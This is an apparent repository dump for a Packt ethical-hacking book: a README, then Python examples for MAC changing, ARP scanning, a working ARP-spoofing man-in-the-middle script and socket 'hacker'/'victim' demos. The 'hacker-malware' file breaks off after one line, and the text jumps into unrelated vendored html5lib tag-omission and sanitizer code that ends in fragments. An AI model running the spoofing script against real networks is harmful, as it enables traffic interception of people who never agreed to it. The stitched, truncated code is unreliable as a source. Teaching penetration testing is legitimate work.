This is the code repository for [Python Ethical Hacking from Scratch](https://www.packtpub.com/product/python-ethical-hacking-from-scratch/9781838829506?utm_source=github&utm_medium=repository&utm_campaign=9781838829506), published by Packt.
**Python Ethical Hacking from Scratch, published by Packt**
## What is this book about?
Penetration testing enables you to evaluate the security or strength of a computer system, network, or web application that an attacker can exploit. With this book, you'll understand why Python is one of the fastest-growing programming languages for penetration testing. You'll find out how to harness the power of Python and pentesting to enhance your system security.
This book covers the following exciting features:
* Understand the core concepts of ethical hacking
* Develop custom hacking tools from scratch to be used for ethical hacking purposes
* Discover ways to test the cybersecurity of an organization by bypassing protection schemes
* Develop attack vectors used in real cybersecurity tests
* Test the system security of an organization or subject by identifying and exploiting its weaknesses
* Gain and maintain remote access to target systems
* Find ways to stay undetected on target systems and local networks
If you feel this book is for you, get your [copy](https://www.amazon.com/dp/1838829504) today!
## Instructions and Navigations
All of the code is organized into folders. For example, Chapter02.
The code will look like the following:
```
subprocess.run(
["ifconfig", "eth0"],
shell=True,
)
```
**Following is what you need for this book:**
If you want to learn ethical hacking by developing your own tools instead of just using the prebuilt tools, this book is for you. A solid understanding of fundamental Python concepts is expected. Some complex Python concepts are explained in the book, but the goal is to teach ethical hacking, not Python.
With the following software and hardware list you can run all code files present in the book (Chapter 1-9).
### Software and Hardware List
| Chapter | Software required | OS required |
| -------- | ------------------------------------ | ----------------------------------- |
| 1-9 | Python version 3.8 | Windows, Mac OS X, and Linux (Any) |
| 1-9 | VMware/Virtualbox | Windows, Mac OS X, and Linux (Any) |
| 1-9 | Visual Studio Code IDE | Windows, Mac OS X, and Linux (Any) |
We also provide a PDF file that has color images of the screenshots/diagrams used in this book. [Click here to download it](http://www.packtpub.com/sites/default/files/downloads/9781838829506_ColorImages.pdf).
### Related products
* Mastering Python for Networking and Security - Second Edition [[Packt]](https://www.packtpub.com/product/mastering-python-for-networking-and-security-second-edition/9781839217166?utm_source=github&utm_medium=repository&utm_campaign=9781839217166) [[Amazon]](https://www.amazon.com/dp/1839217162)
* Mastering Python Networking - Third Edition [[Packt]](https://www.packtpub.com/product/mastering-python-networking-third-edition/9781839214677?utm_source=github&utm_medium=repository&utm_campaign=9781839214677) [[Amazon]](https://www.amazon.com/dp/1839214678)
## Get to Know the Author
**Fahad Ali Sarwar**
Fahad has been teaching ethical hacking and penetration testing on different online platforms with a solid student base. He's passionate about cybersecurity and ethical hacking tool development.
Fahad is particularly enthusiastic about Python for its simplicity and ease of use and in this book he has chosen it as a language of preference due to its features.
### Download a free PDF
If you have already purchased a print or Kindle version of this book, you can get a DRM-free PDF version at no cost.https://packt.link/free-ebook/9781838829506
================================================ FILE: example01-mac-changer/desktop.ini ================================================ [.ShellClassInfo] InfoTip=This folder is shared online. IconFile=C:\Program Files\Google\Drive\googledrivesync.exe IconIndex=16 ================================================ FILE: example01-mac-changer/m1-mac-changer.py.py ================================================ import subprocess if __name__ == "__main__": interface = "eth0" new_mac = "22:11:22:33:44:57" print("Shutting down the interface") subprocess.run(["ifconfig", "eth0", "down"]) print("changing the interface hw address of ", interface, " to ", new_mac) subprocess.run(["ifconfig", interface, "hw", "ether", new_mac]) print("MAC address changed to ", new_mac) subprocess.run(["ifconfig", interface, "up"]) print("network interfaced turned on") ================================================ FILE: example02-scapy-introduction/desktop.ini ================================================ [.ShellClassInfo] InfoTip=This folder is shared online. IconFile=C:\Program Files\Google\Drive\googledrivesync.exe IconIndex=16 ================================================ FILE: example02-scapy-introduction/m1-ICMP-scapy.py ================================================ from scapy.all import ICMP from scapy.all import IP from scapy.all import sr1 if __name__ == "__main__": src_ip = "192.168.74.128" dest_ip = "www.google.com" ip_layer = IP(src = src_ip, dst = dest_ip) icmp_req = ICMP(id=100) packet = ip_layer / icmp_req response = sr1(packet, iface="eth0") if response: print(response.show()) ================================================ FILE: example02-scapy-introduction/m2-scapy-function.py ================================================ from scapy.all import ICMP from scapy.all import IP from scapy.all import sr1 from scapy.all import ls if __name__ == "__main__": dest_ip = "www.google.com" ip_layer = IP(dst = dest_ip) print(ls(ip_layer)) # displaying complete layer info # accessing the fields print("Destination = ", ip_layer.dst) print("Summary = ",ip_layer.summary()) ================================================ FILE: example02-scapy-introduction/requirements.txt ================================================ astroid==2.4.2 isort==5.7.0 lazy-object-proxy==1.4.3 mccabe==0.6.1 pylint==2.6.0 scapy==2.4.4 six==1.15.0 toml==0.10.2 wrapt==1.12.1 ================================================ FILE: example03-arp-scanner/desktop.ini ================================================ [.ShellClassInfo] InfoTip=This folder is shared online. IconFile=C:\Program Files\Google\Drive\googledrivesync.exe IconIndex=16 ================================================ FILE: example03-arp-scanner/m1-arp-scanner.py.py ================================================ from scapy.all import Ether, ARP, srp if __name__ == "__main__": broadcast = "FF:FF:FF:FF:FF:FF" ether_layer = Ether(dst = broadcast) ip_range = "192.168.74.1/24" arp_layer = ARP(pdst = ip_range) packet = ether_layer / arp_layer ans, unans = srp(packet, iface = "eth0", timeout=2) for snd, rcv in ans: ip = rcv[ARP].psrc mac = rcv[Ether].src print("IP = ", ip, " MAC = ", mac) ================================================ FILE: example04-arpspoof/desktop.ini ================================================ [.ShellClassInfo] InfoTip=This folder is shared online. IconFile=C:\Program Files\Google\Drive\googledrivesync.exe IconIndex=16 ================================================ FILE: example04-arpspoof/main.py ================================================ from scapy.all import * import time def spoof_victim(): arp_response = ARP() arp_response.op = 2 arp_response.pdst = "192.168.74.129" arp_response.hwdst = "00:0C:29:BE:47:14" arp_response.hwsrc = "00:0c:29:90:79:02" arp_response.psrc = "192.168.74.2" send(arp_response) def spoof_router(): arp_response = ARP() arp_response.op = 2 arp_response.pdst = "192.168.74.2" arp_response.hwdst = "00:50:56:ff:74:8b" arp_response.hwsrc = "00:0c:29:90:79:02" arp_response.psrc = "192.168.74.129" send(arp_response) def restore(): # restoring router table arp_response = ARP() arp_response.op = 2 arp_response.pdst = "192.168.74.2" arp_response.hwdst = "00:50:56:ff:74:8b" arp_response.hwsrc = "00:0C:29:BE:47:14" arp_response.psrc = "192.168.74.129" send(arp_response) #restoring windows table arp_response = ARP() arp_response.op = 2 arp_response.pdst = "192.168.74.129" arp_response.hwdst = "00:0C:29:BE:47:14" arp_response.hwsrc = "00:50:56:ff:74:8b" arp_response.psrc = "192.168.74.2" send(arp_response) if __name__ == "__main__": try: while True: spoof_victim() spoof_router() time.sleep(2) except KeyboardInterrupt as err: print("restoring ARP") restore() print("exiting") ================================================ FILE: example05-sslstrip/bettercap ================================================ [File too large to display: 23.8 MB] ================================================ FILE: example05-sslstrip/desktop.ini ================================================ [.ShellClassInfo] InfoTip=This folder is shared online. IconFile=C:\Program Files\Google\Drive\googledrivesync.exe IconIndex=16 ================================================ FILE: example06-introduction_to_sockets/.vscode/desktop.ini ================================================ [.ShellClassInfo] InfoTip=This folder is shared online. IconFile=C:\Program Files\Google\Drive\googledrivesync.exe IconIndex=16 ================================================ FILE: example06-introduction_to_sockets/.vscode/settings.json ================================================ { "python.pythonPath": "/home/kali/packt-book-code/example-6-introduction_to_sockets/venv/bin/python3.9" } ================================================ FILE: example06-introduction_to_sockets/desktop.ini ================================================ [.ShellClassInfo] InfoTip=This folder is shared online. IconFile=C:\Program Files\Google\Drive\googledrivesync.exe IconIndex=16 ================================================ FILE: example06-introduction_to_sockets/main.py ================================================ import socket if __name__ == "__main__": hacker_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) IP = "192.168.74.128" Port = 8008 socket_address = (IP, Port) hacker_socket.bind(socket_address) hacker_socket.listen(5) print("listening for incoming connection requests") hacker_socket, client_address = hacker_socket.accept() message = "Message from hacker" message_bytes = message.encode() hacker_socket.send(message_bytes) print("Message sent from hacker") hacker_socket.close() ================================================ FILE: example07-socket-client/desktop.ini ================================================ [.ShellClassInfo] InfoTip=This folder is shared online. IconFile=C:\Program Files\Google\Drive\googledrivesync.exe IconIndex=16 ================================================ FILE: example07-socket-client/victim.py ================================================ import socket if __name__ == "__main__": victim_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) hacker_IP = "192.168.74.128" hacker_port = 8008 hacker_address = (hacker_IP, hacker_port) victim_socket.connect(hacker_address) data = victim_socket.recv(1024) print(data.decode()) victim_socket.close() ================================================ FILE: example08-hacker-malware/desktop.ini ================================================ [.ShellClassInfo] InfoTip=This folder is shared online. IconFile=C:\Program Files\Google\Drive\googledrivesync.exe IconIndex=16 ================================================ FILE: example08-hacker-malware/hacker.py ================================================ import socket IDENTIFIER = "optgroup
# element, or if there is no more content in the parent
# element.
if type == "StartTag":
return next["name"] in ('option', 'optgroup')
else:
return type == "EndTag" or type is None
elif tagname in ('rt', 'rp'):
# An rt element's end tag may be omitted if the rt element is
# immediately followed by an rt or rp element, or if there is
# no more content in the parent element.
# An rp element's end tag may be omitted if the rp element is
# immediately followed by an rt or rp element, or if there is
# no more content in the parent element.
if type == "StartTag":
return next["name"] in ('rt', 'rp')
else:
return type == "EndTag" or type is None
elif tagname == 'colgroup':
# A colgroup element's end tag may be omitted if the colgroup
# element is not immediately followed by a space character or
# a comment.
if type in ("Comment", "SpaceCharacters"):
return False
elif type == "StartTag":
# XXX: we also look for an immediately following colgroup
# element. See is_optional_start.
return next["name"] != 'colgroup'
else:
return True
elif tagname in ('thead', 'tbody'):
# A thead element's end tag may be omitted if the thead element
# is immediately followed by a tbody or tfoot element.
# A tbody element's end tag may be omitted if the tbody element
# is immediately followed by a tbody or tfoot element, or if
# there is no more content in the parent element.
# A tfoot element's end tag may be omitted if the tfoot element
# is immediately followed by a tbody element, or if there is no
# more content in the parent element.
# XXX: we never omit the end tag when the following element is
# a tbody. See is_optional_start.
if type == "StartTag":
return next["name"] in ['tbody', 'tfoot']
elif tagname == 'tbody':
return type == "EndTag" or type is None
else:
return False
elif tagname == 'tfoot':
# A tfoot element's end tag may be omitted if the tfoot element
# is immediately followed by a tbody element, or if there is no
# more content in the parent element.
# XXX: we never omit the end tag when the following element is
# a tbody. See is_optional_start.
if type == "StartTag":
return next["name"] == 'tbody'
else:
return type == "EndTag" or type is None
elif tagname in ('td', 'th'):
# A td element's end tag may be omitted if the td element is
# immediately followed by a td or th element, or if there is
# no more content in the parent element.
# A th element's end tag may be omitted if the th element is
# immediately followed by a td or th element, or if there is
# no more content in the parent element.
if type == "StartTag":
return next["name"] in ('td', 'th')
else:
return type == "EndTag" or type is None
return False
================================================
FILE: example12-password-cracking/venv/Lib/site-packages/pip/_vendor/html5lib/filters/sanitizer.py
================================================
"""Deprecated from html5lib 1.1.
See `here This is a doc
')This is a doc
'),, and